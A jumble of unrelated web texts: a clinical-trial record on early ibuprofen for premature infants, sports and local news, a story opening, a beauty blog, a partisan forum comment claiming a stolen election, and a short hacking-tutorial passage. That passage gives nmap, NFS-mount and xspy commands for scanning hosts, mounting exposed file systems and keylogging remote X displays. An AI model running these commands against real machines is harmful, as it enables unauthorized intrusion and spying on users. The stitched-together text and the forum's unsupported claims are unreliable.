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Early Ibuprofen Treatment of Patent Ductus Arteriosus (PDA) in Premature Infants (TRIOCAPI) (TRIOCAPI)
This study is currently recruiting participants.
Verified March 2016 by Nantes University Hospital
Nantes University Hospital
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Very premature infants with a large ductus, selected by an early echocardiogram, will receive either ibuprofen or placebo before 12 hours of life. Follow-up will include repeated echocardiograms and cranial ultrasound at 36 hours, 14 days and 36 weeks of postconceptional age. The primary outcome will be survival without cerebral palsy at years.
|Patent Ductus Arteriosus
|Drug: Ibuprofen Drug: Placebo
|Phase 3
|Study Type:
|Study Design:
|Allocation: Randomized
Intervention Model: Parallel Assignment
Masking: Double Blind (Participant, Care Provider, Investigator, Outcomes Assessor)
Primary Purpose: Treatment
|Official Title:
|Impact of Early Targeted Ibuprofene Treatment of Patent Ductus Arteriosus (PDA) on Long Term Neurodevelopmental Outcome in Very Premature Infants (TRIOCAPI)
Resource links provided by NLM:
Drug Information available for: Ibuprofen Ibuprofen sodium Ibuprofen lysineU.S. FDA Resources
Further study details as provided by Nantes University Hospital:
Primary Outcome Measures:
- 2-year survival without cerebral palsy [ Time Frame: 2 years ]
Secondary Outcome Measures:
- ASQ (Ages and Stages Questionnaire) score at 2 years [ Time Frame: 2 years ]
- Incidence of other prematurity-related morbidities (pulmonary, digestive, neurological, renal) [ Time Frame: 2 years ]To compare the outcome between the large and the small ductus groups
- Comparison of outcome according to the McNamara stage at surgical ligation [ Time Frame: 2 years ]
|Estimated Enrollment:
|Study Start Date:
|March 2012
|Estimated Study Completion Date:
|March 2019
|Estimated Primary Completion Date:
|March 2019 (Final data collection date for primary outcome measure)
|Assigned Interventions
|No Intervention: Small ductus
Experimental: Large ductus ibuprofen
Very premature infants with a large ductus, selected by an early echocardiogram, will receive ibuprofen before 12 hours of life
Drug: Ibuprofen
Very premature infants with a large ductus, selected by an early echocardiogram, will receive ibuprofen before 12 hours of life
Placebo Comparator: Large ductus placebo
Very premature infants with a large ductus, selected by an early echocardiogram, will receive placebo before 12 hours of life
Drug: Placebo
Very premature infants with a large ductus, selected by an early echocardiogram, will receive placebo before 12 hours of life
|Ages Eligible for Study:
|up to 28 Weeks (Child)
|Sexes Eligible for Study:
|Accepts Healthy Volunteers:
Inclusion Criteria:
- Gestational less than 28 weeks
- Postnatal age less than 12 hours
Contacts and Locations
Choosing to participate in a study is an important personal decision. Talk with your doctor and family members or friends about deciding to join a study. To learn more about this study, you or your doctor may contact the study research staff using the Contacts provided below. For general information, see Learn About Clinical Studies.
Please refer to this study by its ClinicalTrials.gov identifier: NCT01630278
Please refer to this study by its ClinicalTrials.gov identifier: NCT01630278
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|+33 2 40 08 77 84
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|Angers, France
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|University Hopsital
|Bordeaux, France
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|Univesity Hospital
|Montpellier, France
|Contact: Gilles CAMBONIE, Professor firstname.lastname@example.com
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|University Hospital
|Nantes, France
|Contact: Véronique GOURNAY, Professor +33 2 40 08 77 84 firstname.lastname@example.com
|Principal Investigator: Véronique GOURNAY, Professor
|University Hospital (AP-HP Groupe hospitalier)
|Paris (Cochin), France
|Contact: Juliana PATKAI email@example.com
|Principal Investigator: Juliana PATKAI
|University Hospital
|Rennes, France
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|Principal Investigator: Alain BAUCHEE, Doctor
|University Hospital
|Tours, France
|Contact: Elie SALIBA, Professor email@example.com
|Principal Investigator: Elie SALIBA, Professor
Sponsors and Collaborators
Nantes University Hospital
|Study Chair:
|Véronique GOURNAY, Professor
|Nantes University Hospital
More Information
Keywords provided by Nantes University Hospital:
Additional relevant MeSH terms:
ClinicalTrials.gov processed this record on June 23, 2017
|Responsible Party:
|Nantes University Hospital
|ClinicalTrials.gov Identifier:
|NCT01630278 History of Changes
|Other Study ID Numbers:
|Study First Received:
|June 11, 2012
|Last Updated:
|March 7, 2016
Keywords provided by Nantes University Hospital:
patent ductus arteriosus
Additional relevant MeSH terms:
Ductus Arteriosus, Patent
Heart Defects, Congenital
Cardiovascular Abnormalities
Cardiovascular Diseases
Heart Diseases
Congenital Abnormalities
Anti-Inflammatory Agents, Non-Steroidal
Analgesics, Non-Narcotic
Sensory System Agents
Peripheral Nervous System Agents
Physiological Effects of Drugs
Anti-Inflammatory Agents
Antirheumatic Agents
Cyclooxygenase Inhibitors
Enzyme Inhibitors
Molecular Mechanisms of Pharmacological Action
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Dr. L. Steven Cheairs
Copyright 2000 by L. Steven Cheairs
Private Bill Jones had eagerly awaited the sight of this huge
laser cannon all his life. Every since he was a small child,
when his dad had told him about these guns Bill had longed
to become a gunner and sit behind the control panel. Now
he had completed basic military training and was about to
begin gunnery school. Bill adjusted his helmet's visor as his
eyes followed the barrel of the cannon into the jet black
darkness of the eternal night sky found upon the asteroid gun
platform at the outer edge of the solar system.
"Private Jones would you mind joining us?" The voice
growled in Bill's headset.
Bill quickly returned to life and ran to join his comrades.
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Men's Volleyball Upsets No. 9 Loyola-Chicago
March 5, 1998
LOS ANGELES, Calif. -- The No. 15 USC men's volleyball team pulled off its second upset in a row, beating No. 9 Loyola-Chicago, 10-15, 15-6, 15-8, 15-10, on Thursday night in the North Gym.
In their last time out, the Trojans (7-9 overall) defeated then-No. 7 Stanford in five games. Loyola-Chicago fell to 15-4 overall.
Senior middle blocker Szilard Kovacs led the Trojans with 18 kills and nine blocks. Freshman outside hitter Eli Fairfield had 13 kills and 10 digs, freshman outside hitter Trevor Julian had 11 kills and 12 digs and sophomore setter Donald Suxho had 59 assists, nine digs and four blocks.
The Ramblers were led by Dan Schultz's 23 kills, 10 digs and seven blocks.
USC hit just .188 as a team, but Loyola-Chicago hit just .160.
The Trojans survived a cold start, hitting an even .000 in game one, but rebounded to take the next three games.


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Ficke, Cleveland and Mountain Garden Club to be honored at annual chamber meeting Oct. 30
- Published in Local Business
CONWAY — Dick Ficke, George Cleveland and the Mountain Garden Club are this year's recipients of the White Mountain Treasures awards and will be honored at the annual meeting of the Mount Washington Valley Chamber of Commerce on Oct. 30 at the North Conway Grand Hotel.
The annual meeting starts at 4:30 p.m., followed by social hour and silent auction at 5; and dinner, keynote speaker and presentation of the White Mountain Treasures awards at 6.
Keynote speaker is Christopher Clement, commissioner of N.H. Department of Transportation.
The annual meeting is a "chance to gather with chamber members, elected officials and guests and review how the chamber has advanced the local business environment over the past year and impacted the community," states chamber publicist Marti Mayne in a press release. "An overview of chamber's programs and marketing initiatives for the year ahead will also be unveiled at this meeting."
A silent auction featuring donated items including trips, ski tickets, services, gift certificates and more will take place throughout the night.
North Conway Grand Hotel will host a complimentary open bar from 5 to 6 p.m.
The White Mountain Treasures award recognizes individuals in the Mount Washington Valley who have given a lifetime of "time and talent" to the valley and their communities. This year's recipients are Mountain Garden Club, George Cleveland and Richard (Dick) Ficke. They were nominated by community members and will be honored during the annual dinner.
There is no fee to attend the annual meeting. All those interested in attending the social hour and dinner must pre-register by Oct. 23. Cost of the dinner is $45 per person.
The 101st Mount Washington Valley Chamber of Commerce annual meeting is hosted by the North Conway Grand Hotel. Platinum presenting sponsors include Memorial Hospital, WMWV/Magic104FM and Valley Originals. Supporting sponsors include Northeast Credit Union, TD Bank, UBS, KLEOSSUM advisors, Fairpoint Communications and Boston Globe Media.
To register for the annual meeting, or to donate a silent auction item call Matt Parker at (603) 356-5701.
White Mountain Treasures
The White Mountain Treasures award program was established as a way to "thank and honor individuals and organizations who, by their demonstrated commitment and example, exemplify that success is not measured by what they accomplish in life for themselves but by what they do for others."
The following is information about the White Mountain Treasures from nominations received.
• Mountain Garden Club
The White Mountain Treasures Award is given to the Mountain Garden Club for the club's dedication to promoting horticultural, education, civic beautification and conservation through volunteerism and friendship in the Mount Washington Valley. The club's civic improvement projects in roadside beautification and conservation add pleasing environments that are highly valuable for daily commuters and well as visitors to the Mount Washington Valley. "For a motorist who may have had a stressful day at work or traveling, nature goes a long way toward easing tension."
The Mountain GardenClub is now in its sixth year of assisting Mount Washington Valley Habitat for Humanity homeowners in the planting of trees along Robert Morrell Drive. The Mountain Garden Club also sponsors events such as flower sales for cancer awareness (Jen's Friends), scholarship funds for an eligible Mount Washington resident) and boutique/plant/flower shows at various times of the year to support MGC community projects.
The garden club works with local nursing homes in their "garden therapy." Club members are currently working with Merriman House at Memorial Hospital. The club also works with local schools on their horticulture programs. The club selects one school each year to plant a "Memory Tree" with the local students. The tree is dedicated to "all children for the perfect world." In addition, the club holds a Smokey Bear & Woodsy Owl poster contest for elementary school children, with the goal of teaching them about conservation and preventing wildfires.
The Mountain Garden Club's Children Unlimited Rain Garden Project was a multi-year project that was started in September of 2009, designed in September of 2010, planted in June of 2011 and completed in August of 2012. It was designed to acts as an infiltration device for runoff materials that ordinarily flow into our lakes and streams and as an educational tool for child. The club was awarded the National Garden Club President's Project Award in May 2013 for the Children Unlimited Rain Garden Project.
• George Cleveland
George Cleveland, the grandson of President Grover Cleveland, has been a valued and lively presence in the Mount Washington Valley for many years, and one of its most visible and influential leaders. Serving originally as program director at WMWV Mount Washington Radio and Gramophone, he quickly became known as "The Voice of the Valley" and in that capacity conducted more than 3,500 interviews with newsmakers from all parts of the world. In this capacity he was the recipient of three Golden Mike Awards from the N.H. Association of Broadcasters. He remains a popular voice actor, auctioneer and speaker who frequently dons the apparel of his grandfather to present an entertaining living history program. Currently and for the last 12 years, as the executive director of the Gibson Center for Senior Services, he runs one of the most complex organizations in the valley. The Gibson Senior Center is also one of its most successful and important institutions in the valley, providing meals, transportation, and social and educational programs to seniors in the greater Mount Washington Valley area.
Cleveland is also a former board chair of the Evergreen Center for Wellness, vice president for the N.H. Coalition of Aging Services, and a board member of the Tamworth Foundation, the Kekumano Foundation, and the Friends of Recovery. Formerly, the board chair of The Barnstormers Theatre in Tamworth, one of the longest running professional summer theaters in the country, he is often its community "face," as well as a masterful fund-raiser known for his creative and irresistible solicitations. One of his more unusual fund-raising endeavors was posing wearing only a hat in the 2003 "Tamworth Men in Hats" calendar, which raised more than $75,000 for local charities. With a keen sense of history and place, he has also been guiding tours throughout the White Mountains for more than 20 years and currently is an interpreter with Raven Interpreter Programs. An avid collector of tales and legends and the self-appointed "Interpreter of the Bizarre in History and Local Surroundings," he writes frequently for local publications on people and places of interest. "Generous with his time, colorful and charismatic, naturally supportive and collaborative in spirit, he is indeed a true Valley Treasure."
• Richard (Dick) Ficke
Ficke is a retired U.S. Air Force colonel with over 20 years of worldwide service and has been a part of the Mount Washington Valley since the 1980s. He is the past president of Kiwanis Club of Mount Washington Valley and currently the district lieutenant governor.
Since 2005, Ficke has been the chair of Angels & Elves, a project of the Kiwanis Club of the Mount Washington Valley that provides gifts to more than 500 children in Carroll County who might not otherwise received presents. Kiwanis members coordinate a valley-wide network of generous individuals, organizations and businesses who contribute their time, money and resources.
Ficke serves as counselor and chapter chair for Mount Washington Valley SCORE, providing free and confidential business counseling to entrepreneurs and small-business owners.
He also serves on the board of directors for Arts in Motion Theater Company, a community theater education and production company that provides youth and adults of the greater Mount Washington Valley area with opportunities to learn basic performing arts skills while promoting the development of self-esteem, creativity and self-expression.


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First off, this is a bill written by a senator, it did not come from the Presidents administration.
Second, so you are so completely and totally convinced that everything the
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that you won't even bother to actually read the proposed bill and make your own judgments, you just believe as you're told to believe. No offence, but I think it's idiots that go along with that line of thinking that allows some of the horrible governments around the world to gain and maintain power. Once they can convince a majority of the people that the other side is always bad they no longer have to deal with facts, they can ignore them and dismiss anything they say as a cover for what they really think.
If this administration was for the people and behind the constitution they would have notwent to the extent of stealing the election as they did. Creating a race war and war between the rich and the poor, encouraging voter fraud, need I go on? If the republican party went so far as to decieve the people to the extent as the democratic party did I would no longer show my support. I would be embarassed to even let others know that I support that type of behavior.
Don't get me wrong I do think that the democratic party stands up and fights for what they believe is the right thing to do. The republican party is getting weak in the way of not fighting back and standing up for what they think is the right thing to do.
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Ottawa may try emotional tack for pipeline support
By Jeffrey Jones
CALGARY, Alberta (Reuters) - Ottawa may try to tug at Canadians' emotions as a way to build public support for building pipelines to ship growing crude production to the West, East and South, the federal natural resources minister said on Friday.
The International Energy Agency's new forecast of booming U.S. light oil production has only added urgency to the need to build pipelines so Western Canadian crude can get to new markets, such as Asia and Eastern Canada, as the United States edges closer to self-sufficiency over the next 15 years, Natural Resources Minister Joe Oliver said.
But many Canadians, enamored with their country's natural beauty, remain wary of the environmental impacts of such proposed projects as Enbridge Inc's Northern Gateway pipeline to the Pacific Coast from Alberta and new pipeline capacity to Montreal and points east, Oliver said.
Having already devoted major efforts to explaining the economic reasons for such developments with statistics and forecasts, it is time to communicate "at an emotive level", he told a Calgary business audience.
"I think we have to realize that this is a huge challenge, because if we don't get people on side, if we don't get the social license, politics often follows opinion," he said. "We could well get a positive regulatory conclusion from the joint panel that's looking at Northern Gateway, but if the population is not on side there's a big problem."
He described shifting public opinion as the biggest challenge facing the need to build energy infrastructure in Canada.
Oliver decried some environmental groups that he said will oppose any and all energy developments out of hand. They would not be the target of such communications.
He has already delved into the emotive. At the start of the Northern Gateway hearings early this year, he issued a statement blasting "environmental and other radical groups" who only want to block Canada's aims at diversifying energy trade. Continued...


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Sally Beauty Supply is one of those places that gets slept on. It doesn't have the flash and product selection of Sephora or a swanky department store, so it's not often where most girls think of when it's time to get glam. But don't be fooled! There are plenty of beauty essentials (conditioning caps, satin headscarves, combs/brushes, makeup sponges, disposable makeup applicators, etc.) to be had at Sally's, in addition to some standout gems.
When I was in middle and high school, my mom and I would make regular trips to Sally's to try out and experiment with new products. At those prices, how could we not? Well, I've recently started to visit the beauty supplier on a more frequent basis, and I have found some products I truly love! We're talking beauty staples here, people! So, without further ado, let me share my favorite products from Sally Beauty Supply!
This unassuming, odd-shaped little number is a must-have for anyone with, well, hair! The Tangle Teezer Detangling Brush, $9.99 get out knots, tangles and kinks from all hair types. From the thinnest, finest hair, to the biggest fro, the Tangle Teezer smoothly detangles all hair types with shocking ease. You can even use it to distribute hair conditioner while in the shower, but I love it for detangling before styling. Tangle Teezer currently comes in pink, black and purple (my fave!).
I've been trying to do better about my deep conditioning treatments, and Proclaim Argan Oil Intense Hydrating Mask, $7.99 works wonders. While I've heard this moisturizing treatment is pretty darn amazing on its own, I've been mixing in some natural oils and butters to boost the conditioning factor (I'll share more on my mixing and homemade concoctions later!). After rinsing, my hair is left silky soft and smooth!
Two words best describe the HairArt Brush Cleaner, $1.69: Who knew?! Nothing is more gross than putting a dirty brush on clean hair, so what can you do, short of tossing it? Give it a good cleaning! Shampoo or dish soap do a good job of removing product buildup, but first you've got to get rid of the hair. This brush cleaner has four short plastic teeth on one end to get rid of longer pieces of hair, while the plastic bristles on the other end remove the short stragglers. Then hit your brush with some suds and it'll be good as new!
I usually wash my brushes with baby shampoo and let them dry overnight. but sometime I need a brush to be clean and dry in less than eight hours. That's where Face Secret Professional Brush Cleaner, $5.49 comes in! Pour a little into a bowl or jar (I use my Parian Spirit Brush Cleaning Refill Jar, $6) and swirl the brush around in the cleaner. Then squeeze out the excess cleaner and your brushes are completely clean and totally dry in no time! The bottle is rather small, so I don't recommend this for cleaning lots of brushes at once. I found it's better for when you need to deep clean a few brushes in a pinch.
So, what do you do for those times when you've dipped your shadow brush in bright blue eyeshadow, only now you need that same brush to apply another shade? Whip out the Face Secrets Makeup Brush Cleaning Towelettes, $5.49! These clothes are a quick fix for cleaning makeup brushes without getting them soaking wet, so you can reuse the same brush without muddying up your colors. It's also great for cleansing brushes between deep cleanings. Quickly swipe your brushes across these and they'll be ready for your next use!
So, basically Eco Styler Morocan Argan Oil Styling Gel, $4.79 is everything! LOL! I've been using it for twistouts on my natural hair, but it's also great for smoothing edges. I imagine it would also be great for slicking hair back for buns and ponytails. Best of all it leaves my hair smooth and frizz free, and never dry, crunchy or flaky. Score a humongous tub of this stuff for only $2.99 this month!
Sally Beauty is where I always buy my China Glaze Nail Polishes, $5.99 ($4.99 for Beauty Club Members). Not only is China Glaze cheaper than other salon brands, but they're of great quality. China Glaze always seems to be on sale at Sally's and they always seem to get the new collections before other stores. In fact, they're on sale for $2.99 on the Sally's website right now!
Pro makeup artists swear by Ardell False Lashes, $4.49, and I do, too! Personally, I think it's insane to spend $20 on false lashes that really shouldn't be worn more than once, or maybe twice (hygiene, people!). Ardell has a massive collection of various styles and lengths of lashes, and Sally's has them all! At this price you can afford to experiment and play around with different looks.
If you're going to be rocking fierce false lashes, you're going to need a good, nay, great lash glue! Those in the know always reach for DUO Eyelash Adhesive, $6.49 and for good reason. It gives false lashes crazy good staying power and it comes in a dark shade, which looks far more natural against dark lashes and eyeliner, than clear lash glues that turn white when dry.
Last, but not least is Beyond the Zone Turn Up the Heat Flat Iron Protection Spray, $8.29. I've experimented with blow-outs this summer and plan to rock them more often once the weather turns cold (seriously, I almost caught pneumonia last winter fooling with 'takes-forever-to-dry' wash and go's!). This alcohol-free spray actually gives hair some slip and shine as it protects from the heat of flat irons and other heat tools. Good stuff!
So there are my fave products from Sally's! If you're going to be shopping, I recommend signing up for the Beauty Club Program. For $5 a year you get a discounted price on every item in the store, as well as special coupons and promotions. Totally worth the $5! Do you shop Sally's? What are some of your favorite products from there? Let us know in the comments!


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Punxsutawney man charged in slaying, dismemberment
PUNXSUTAWNEY — A Punxsutawney man littered the countryside of Jefferson and Indiana counties with the dismembered limbs and body parts of a man he killed during a drug deal, authorities reported Tuesday.
Investigators found Michael Shugars's fingerprints on body parts found by a fisherman Sunday afternoon in a creek under the Hamilton Bridge in Perry Township, and obtained Shugars' confession to the slaying of Chet Haddow, of Punxsutawney, according to charging documents filed in the Punxsutawney district court.
Shugars, 32, is being held without bond in Jefferson County Court in Brookville, charged with homicide, robbery and related counts.
The case came to light about 4:54 p.m. Sunday when the fisherman phoned 911 and state police, saying he spotted two human arms and a thigh in the creek. Jefferson County Coroner Bernard Snyder identified the body parts as human remains, police reported.
Within hours, forensic investigators lifted fingerprints from the hands and cross-checked them through a national crime database and the FBI, which matched the prints with those on record for Shugars, troopers said.
On Monday, troopers quizzed Shugars, who admitted that he met with Haddow in Valier, rode with him in Haddow's car to Fan House Road, where Shugars drew a 9 mm handgun.
Shugars said the gun fired and killed Haddow while they struggled over it, according to a criminal complaint.
According to investigators, Shugars admitted that he left Haddow alone in his car on Blose Hollow Road for a time Friday evening, then returned after dark and drove Haddow's car to his own home along Kathryn Drive.
There, police say, Shugars cut Haddow's body apart with a chain saw then disposed of the parts at various remote locations — some in waterways, some over embankments — in Indiana and Jefferson counties.
After taking a suboxone pill and two bags of heroin from Haddow's car, Shugars drove to a gas well site near Blose Hollow Road, poured gasoline in the vehicle and set it on fire along with his own soiled clothing.
In the criminal complaint, police reported the drugs stolen from Haddow were worth $60.
Shugars is charged with criminal homicide, aggravated assault, simple assault, abuse of corpse, robbery and theft. He was booked at a preliminary arraignment Tuesday morning and is scheduled to appear Oct. 1 for a preliminary hearing before District Judge Douglas Chambers in Punxsutawney District Court.
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Site: Ann Arbor, Mich. (Wilpon Complex)
Score: #22 Kansas 8, Michigan 2
Records: U-M (27-27-1), KU (34-21)
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ANN ARBOR, Mich. -- The University of Michigan baseball team played No. 22 Kansas even for eight frames Saturday afternoon (May 17), before the Jayhawks plated six runs in the top of the ninth to break a 2-all tie in an 8-2 final at the Wilpon Complex, home of Ray Fisher Stadium.
Both teams' pitching staffs put up zeroes through the first six innings. Junior Trent Szkutnik (Temperance, Mich./Bedford) ran into trouble in the first, loading the bases with one out but got out of the jam with a pop out and a strikeout. Szkutnik had two strikeouts in a scheduled two-inning start. Freshman Brett Adcock (Kawkawlin, Mich./Bay City Western) came in and struck out the side in the third on his way to five strikeouts in 3.1 innings. Kansas was held hitless through the first five innings, before a Justin Protacio single to start the sixth broke up the Michigan no-hitter.
The Wolverines loaded the bases in the sixth as sophomore Travis Maezes (Ann Arbor, Mich./Pioneer) and Jacob Cronenworth (St. Clair, Mich./St. Clair) both singled to put runners on the corners. Junior Jackson Glines (Coarsegold, Calif./Fresno City College) walked to load the bases, but a shallow fly out and double play ended the inning.
Michigan got on the scoreboard in the seventh. Junior Kyle Jusick (Portage, Mich./Portage Central) singled and was thrown out at third on classmate Kevin White's (Charlottesville, Va./St. Anne's-Belfield) single. White moved to second on the throw, stole third and scored on a Kansas throwing error. The Jayhawks scored a pair of runs in the eighth as Colby Wright had a run-scoring single to left and then scored on a Michigan fielding error.
The Maize and Blue tied the game in the bottom of the eighth. Maezes reached on an error, went to second on Cronenworth's sacrifice bunt and stole third. He scored as Glines scorched a liner to first that took Kansas first baseman Ryan Pidhaichuk's glove off.
Kansas led off the ninth with a Connor McKay double to left field. Ka'iana Eldredge then laid down a sacrifice bunt and both runners were safe due to a Wolverine error. A walk and hit-by-pitch led to the winning run. Cronenworth got the next two Jayhawks out, but Michael Suiter's infield single scored a pair of runs, and Dakota Smith's three-run homer capped the six-run frame.
Maezes went 2-for-4 for Michigan's offense. Cronenworth was tagged with the loss, allowing five unearned runs in two-thirds of an inning.
Michigan will play its final regular-season game Sunday afternoon (May 18) against No. 22 Kansas at 1 p.m. at the Wilpon Complex, home of Ray Fisher Stadium. U-M will honor the five seniors before Sunday's game, and the first 250 fans will receive a set of Michigan baseball senior trading cards. [ Promotions ]
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This is my second Blumm box review, sorry it is so late! Here are a few pictures for the 5 month box:
I picked all these items, the only thing I was bummed about was the first month when I didn't choose anything I got five items but when I choose my items I only got to choose four.
- Mini tug boat – Blue $8.00 – Cute little boat for bath time, Henry loves to eat it. I wouldn't pay 8 bucks for it though…
- Abacus Rattle $9.99 – I think I love this toy more than Henry does, but sometimes he will try to eat it….haha.
- Micky Chenille Solid Bib- Silver $17.50 – I love this bib but no way in hell I would pay that much for one. It is also reversible!
- Elizabeth Beanie – Navy Heather 0-12 months – $16.00 – I love this hat but my baby does not. He only wore it once.
So That comes to $51.49! But I have a hard time believing anyone would pay that much for these items…the Abacus rattle maybe….everything else, no.


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SALINAS, Calif. - Salinas police say one of its officers, who was bitten by his K-9 Thursday evening, is doing fine and was released from the hospital and is expected to be okay.
A commander said the dog bit the officer on the hand after it got startled when the officer was driving near Rossi and Stockton Streets. The dog apparently bit the officer after the seat partition had fallen.
Once the officer had pulled over to try and calm the dog down, the officer's face was accidentally scratched by the dogs tooth.
The officer, apparently new to the K-9 unit, was given stitches in the arm and face.
The dog is doing okay and is at a local shelter. The commander said Thursday night that trainers and internal experts will be working with the dog to figure out what happened.
The incident is a first for the department.
In August, Central Coast News learned the Salinas K-9 program planned to add a total of six dogs within the next year, but the plan was stifled by a $1.1 million cut to the department.
It announced December 18th that it had acquired two patrol K-9 because of the community's support and donations. "Gimmo" and "Charro" completed their training in the fall and were put on the streets.
The training costs tens of thousands of dollars.
We do know handlers pay for the dogs themselves. The city pays for vet bills and training for the dog's careers.
The Department's K-9 Unit was created to supplement patrols officers and their daily tasks, according to the unit's Facebook page.


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Murray, who reached the semi-finals here last year where he lost to eventual winner Rafa Nadal, served well and never gave his Japanese opponent a chance.
As Ito tired, Murray won the fifth game of the final set to love then produced a winning serve to seal the sixth game and finish the match in one hour 35 minutes.
Murray has had a hit-and-miss claycourt season so far, troubled by a back problem and inconsistent form, but he was composed and clinical against the world number 68.
The Scot started off by breaking Ito's first service game, following with a hold and a second break. The 24-year-old hardcourt specialist from Japan did hold once but, after saving three set points, misplaced a backhand to hand Murray the opener.
The second set was a more even affair as Ito played some ferocious groundstrokes, breaking Murray back at 2-2.
He had three more break points later on but Murray held on before breaking once more at 5-5, initially losing three break points but winning it off deuce as Ito hit a forehand long.
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McDermott, Medved put on educational debate
Brian LeBlanc
Last week, Congressman Jim McDermott (D-7) faced off against popular conservative talk show host Michael Medved.
The educational debate, titled "Mind The Gap: 2012 Issued Debate," was put on by the Student Freedom Project at the University of Washington. The debate, which was determined as not a campaign event, was rebroadcast on UWTV and can be found at http://www.uwtv.org/schedule/index.aspx?date=11/3/2012.
The debate moderator was Dr. Anthony Gill, a professor in the UW Political Science Department and the debaters were given the questions in advance. The first part of the debate featured prepared questions and was followed by questions submitted by the audience. 20-30 UW students packed the front rows nearest the stage and 40-50 slightly older members of the general public sat in the rear of the auditorium.
Questions included topics such as whether the wealthy should pay more taxes, what government spending should be eliminated, whether there was too much regulation on businesses, whether there should be a second $2 trillion stimulus and what the purpose of college was and the government's role in protecting it.
McDermott's ongoing election campaign was not mentioned except by Medved, who mentioned the Congressman was "in the midst of a nail-biting campaign" where he "might fall below 85% of the vote," which elicited laughter from some in the audience.
The answers from both men fell into predictable patterns based on their positions along the ideological spectrum, with Medved on the conservative end and McDermott on the liberal one.
McDermott aggressively defended the role of the government as investing in the citizens through education and other means, being a creator of jobs and having a role in regulating the excesses of business. He advocated for a "fair system" of taxation "where you take from (the people at) the top and they benefit from it." McDermott also took the opportunity to blame the low approval rating of Congress on the Republicans who he said refused to compromise.
Medved defended the role of the free enterprise system, suggested that the federal government spends taxpayer money recklessly, had become in some instances an "intrusive nanny-state system" and that issues such as education were best left up to the states. Medved thinks that we need a more simplified tax system and "more reasonable regulation."
Medved found himself in agreement with McDermott on several points, particularly on the necessity of some environmental regulations, noting that Lake Washington had been cleaned up by government regulation.
While discussing whether another stimulus package is needed, Medved stated talking about government fund railroad improvements as an example of a wasteful use of taxpayer dollars. In particular Medved brought up a railroad line currently being built in California that has been funded partially with stimulus money that he called a "train to nowhere."
Rather than discuss the particular issue, McDermott countered with the fact that "we can talk endlessly about the problems of transportation," and shared that he sometimes rides "the bus in the tunnel (in Downtown Seattle) to find out what people are going through."
Ron Bemis, McDermott's opponent for the 7th Congressional District, initially questioned the timing of the event, taking place just a few days before election day. Read this week's article, "Op-Ed: McDermott debates … but not the right person" for more details.
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Mountain Home Montana broke ground this summer on a new six-bedroom living facility for homeless teenage mothers in Missoula, paving the way toward doubling its ability to meet the needs of a growing number of impoverished young women. But Gypsy Ray, the nonprofit's executive director, says 12 beds can only help the situation, not solve it.
"Teenage pregnancy rates are on the rise, both in Montana and nationally," Ray says. "In fact, at Mountain Home in 2009...we had 91 referrals for six bedrooms. That's a problem. We're in the middle of a construction project to double our size to help meet that need a little better, but there's a bigger issue. We're the solution after the pregnancy has taken place. We need solutions to prevent teenage pregnancy."
That's exactly why Planned Parenthood Montana (PPM) filed its lawsuit against the state of Montana on Aug. 13, alleging that the state's 10-year-old prohibition of contraceptive coverage through the low-income Children's Health Insurance Program (CHIP) violates the Montana Constitution—specifically, a young woman's rights to privacy and equal protection. According to PPM's complaint, CHIP coverage of teen births costs at much as $700,000 a year. By comparison, birth control coverage would cost a mere $34,721 in fiscal year 2011.
"It's logical to assume that at least some portion of those 91 referrals could have been reduced had those young women had affordable access to birth control in the first place," says Niki Zupanic, public policy director for the American Civil Liberties Union, PPM's primary supporter in the case.
Attempts in the last two legislative sessions to overturn the ban in Montana law have failed due to heavy opposition from Republican legislators—most recently from Sen. Keith Bales, R-Otter. PPM and others are now hoping the courts will provide a verdict free of the religious considerations that have so far pervaded the issue.
"It is a medical issue," Ray says. "It's covered by other insurance programs including Medicaid. I don't understand why it's not covered by CHIP."


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KNOXVILLE, Tenn. (AP) — Pat Summitt says she's "very, very content" in her new role now that she's had a year to adjust to life after coaching.
The former Tennessee women's basketball coach showed no obvious signs of her illness during a rare three-minute session with local media at a preview screening of "Pat XO," a documentary on her life airing July 9 on ESPN.
Summitt stepped down in April 2012, one year after announcing she had early-onset dementia, Alzheimer's type. Her 1,098 career victories make her the winningest Division I men's or women's basketball coach in history.


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Pay phones may be a thing of the past on city streets, now that personal cell phones are so ubiquitous but transit advocates say they still perform an important service in the subway. And the group, Straphangers Campaign, says that's why it's a shame that its latest survey found a quarter of subway pay phones don't work.
Cate Contino, with the Straphangers Campaign, wants the Metropolitan Transportation Authority to hire a contractor, to fix the phones. No comment yet from the MTA.
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VGP – On the occasion of 68th anniversary of National Day (2nd September), a delegation of Party, State and Fatherland Front leaders on August 30 laid a wreath and offered incense to President Ho Chi Minh at his mausoleum in Ha Noi.
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Viet Nam's top leaders laid a wreath and offered incense on Saturday at the Monument to Heroes and Martyrs in Ha Noi to mark the 66th occasion of Viet Nam's annual War Invalids and Martyrs Day.
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Go through your scan results and look for IP's with these ports open. If you find some, then we can try to take advantage of them.Code:nmap -P0 -sS -p 2049,6000,6001,6002,6003,6004,6005 -iL iprange.txt
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Once the tool is installed, you need rpc.nfsd. I installed the nfs-utils-1.1.2-2.fc9.i386.tar package to get this dependency (maybe the final BT3 will have it?).
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X (port 6000-6005):Code:rpc.portmap start rpc.nfsd start showmount -e 192.168.x.x Export list for 192.168.x.x: / (everyone) mkdir /mnt/temp mount 192.168.x.x:/ mnt/temp cd /mnt/temp ls
This should provide you keylogging of the remote computer. There are other tools for viewing the remote desktop, xwatchwin and xwd, but the install process in Backtrack is time consuming (and I dont remember where I got the dependencies). However, if you have Ubuntu, you can do apt-get install xwatchwin. Run it against one of your vulnerable IP's and see what the remote user is doing in real time.Code:nsat -C nsat_x.conf -f X_hosts.txt -n 192.168.x.x dumpable/sniffable 192.168.x.x dumpable/sniffable cd /pentest/sniffers/xspy xspy -display 192.168.x.x:0


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President Donald Trump offered to personally broker a resolution to the Persian Gulf's escalating diplomatic crisis, as both he and Qatar looked past his pointed suggestion only a day earlier that the tiny gas-rich nation enables terrorism. Continue reading
WASHINGTON — A U.S. Navy destroyer fired multiple warning shots at Iranian patrol boats as they sped toward the destroyer at the entrance to the Persian Gulf, two U.S. defense officials said. Continue reading
TAMPA, Florida — Defense Secretary Ash Carter said Thursday it appears a navigational error caused the crews of two Navy boats to stray into Iranian waters in the Persian Gulf, where they were detained overnight by Iran and released. Continue reading
Ten U.S. sailors were released after being held overnight by Iran's Revolutionary Guard. They were seized when two boats drifted into Iranian waters due to faulty navigation systems. State Secretary John Kerry credited the speedy resolution to improved relations. Chief foreign affairs correspondent Margaret Warner reports on the near-crisis and Judy Woodruff talks to The New Yorker's Robin Wright. Continue reading
